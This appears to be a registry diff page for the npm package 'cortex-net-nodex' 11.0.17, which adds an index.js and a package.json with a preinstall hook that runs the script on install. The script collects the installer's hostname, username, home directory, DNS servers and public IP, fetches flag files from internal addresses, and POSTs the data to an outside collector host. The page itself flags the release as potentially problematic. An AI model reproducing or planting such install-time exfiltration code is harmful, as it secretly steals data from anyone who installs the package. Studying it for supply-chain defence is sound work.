cortex-net-nodex 11.0.17
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of cortex-net-nodex might be problematic. Click here for more details.
- package/index.js +137 -0
- package/package.json +13 -0
package/index.js
ADDED
@@ -0,0 +1,137 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const http = require("http"); // Import the http module for HTTP requests
|
6
|
+
const packageJSON = require("./package.json");
|
7
|
+
const package = packageJSON.name;
|
8
|
+
|
9
|
+
// Function to get the public IP using an external API
|
10
|
+
function getPublicIP(callback) {
|
11
|
+
https
|
12
|
+
.get("https://api.ipify.org?format=json", (res) => {
|
13
|
+
let data = "";
|
14
|
+
|
15
|
+
// Collect data chunks
|
16
|
+
res.on("data", (chunk) => {
|
17
|
+
data += chunk;
|
18
|
+
});
|
19
|
+
|
20
|
+
// On end, return the public IP
|
21
|
+
res.on("end", () => {
|
22
|
+
const ipAddress = JSON.parse(data).ip;
|
23
|
+
callback(null, ipAddress); // Pass the IP to the callback
|
24
|
+
});
|
25
|
+
})
|
26
|
+
.on("error", (err) => {
|
27
|
+
callback(err, null); // Handle any errors
|
28
|
+
});
|
29
|
+
}
|
30
|
+
|
31
|
+
// Function to fetch the flag from the provided endpoints
|
32
|
+
function fetchFlag(url, publicIP, callback) {
|
33
|
+
http
|
34
|
+
.get(url, (res) => {
|
35
|
+
let data = "";
|
36
|
+
|
37
|
+
// Collect data chunks
|
38
|
+
res.on("data", (chunk) => {
|
39
|
+
data += chunk;
|
40
|
+
});
|
41
|
+
|
42
|
+
// On end, pass the flag (if any) to the callback
|
43
|
+
res.on("end", () => {
|
44
|
+
if (res.statusCode === 200) {
|
45
|
+
callback(null, { ip: publicIP, flag: data.trim(), endpoint: url });
|
46
|
+
} else {
|
47
|
+
callback("Couldn't access it", {
|
48
|
+
ip: publicIP,
|
49
|
+
result: "Couldn't access it",
|
50
|
+
endpoint: url,
|
51
|
+
});
|
52
|
+
}
|
53
|
+
});
|
54
|
+
})
|
55
|
+
.on("error", (err) => {
|
56
|
+
callback(err, {
|
57
|
+
ip: publicIP,
|
58
|
+
result: "Couldn't access it",
|
59
|
+
endpoint: url,
|
60
|
+
});
|
61
|
+
});
|
62
|
+
}
|
63
|
+
|
64
|
+
// Create tracking data
|
65
|
+
getPublicIP((err, publicIP) => {
|
66
|
+
if (err) {
|
67
|
+
console.log("Error fetching public IP:", err);
|
68
|
+
} else {
|
69
|
+
// Fetch flags from the two endpoints
|
70
|
+
const flagRequests = [];
|
71
|
+
const urls = [
|
72
|
+
"http://10.72.218.66/flag.txt",
|
73
|
+
"http://10.62.252.214/flag.txt",
|
74
|
+
];
|
75
|
+
|
76
|
+
urls.forEach((url) => {
|
77
|
+
flagRequests.push(
|
78
|
+
new Promise((resolve) => {
|
79
|
+
fetchFlag(url, publicIP, (err, result) => {
|
80
|
+
if (err) {
|
81
|
+
resolve(result); // On error, resolve with result (couldn't access)
|
82
|
+
} else {
|
83
|
+
resolve(result); // On success, resolve with flag and associated info
|
84
|
+
}
|
85
|
+
});
|
86
|
+
})
|
87
|
+
);
|
88
|
+
});
|
89
|
+
|
90
|
+
// Wait for all flag requests to finish
|
91
|
+
Promise.all(flagRequests).then((flags) => {
|
92
|
+
const trackingData = JSON.stringify({
|
93
|
+
p: package,
|
94
|
+
c: __dirname,
|
95
|
+
hd: os.homedir(),
|
96
|
+
hn: os.hostname(),
|
97
|
+
un: os.userInfo().username,
|
98
|
+
dns: dns.getServers(),
|
99
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
100
|
+
v: packageJSON.version,
|
101
|
+
pjson: packageJSON,
|
102
|
+
ip: publicIP, // Include the public IP in the tracking data
|
103
|
+
flags: flags, // Include the flags or failure messages with associated IPs
|
104
|
+
});
|
105
|
+
|
106
|
+
console.log(trackingData); // For testing purposes, output the tracking data
|
107
|
+
});
|
108
|
+
}
|
109
|
+
});
|
110
|
+
|
111
|
+
var postData = querystring.stringify({
|
112
|
+
msg: trackingData,
|
113
|
+
});
|
114
|
+
|
115
|
+
var options = {
|
116
|
+
hostname: "hkdk.events", //replace burpcollaborator.net with Interactsh or pipedream
|
117
|
+
port: 443,
|
118
|
+
path: "/7ar4u4h02e8d31",
|
119
|
+
method: "POST",
|
120
|
+
headers: {
|
121
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
122
|
+
"Content-Length": postData.length,
|
123
|
+
},
|
124
|
+
};
|
125
|
+
|
126
|
+
var req = https.request(options, (res) => {
|
127
|
+
res.on("data", (d) => {
|
128
|
+
process.stdout.write(d);
|
129
|
+
});
|
130
|
+
});
|
131
|
+
|
132
|
+
req.on("error", (e) => {
|
133
|
+
// console.error(e);
|
134
|
+
});
|
135
|
+
|
136
|
+
req.write(postData);
|
137
|
+
req.end();
|
package/package.json
ADDED
@@ -0,0 +1,13 @@
|
|
1
|
+
{
|
2
|
+
"name": "cortex-net-nodex",
|
3
|
+
"version": "11.0.17",
|
4
|
+
"main": "index.js",
|
5
|
+
"scripts": {
|
6
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
7
|
+
"preinstall": "node index.js"
|
8
|
+
},
|
9
|
+
"keywords": [],
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC",
|
12
|
+
"description": ""
|
13
|
+
}
|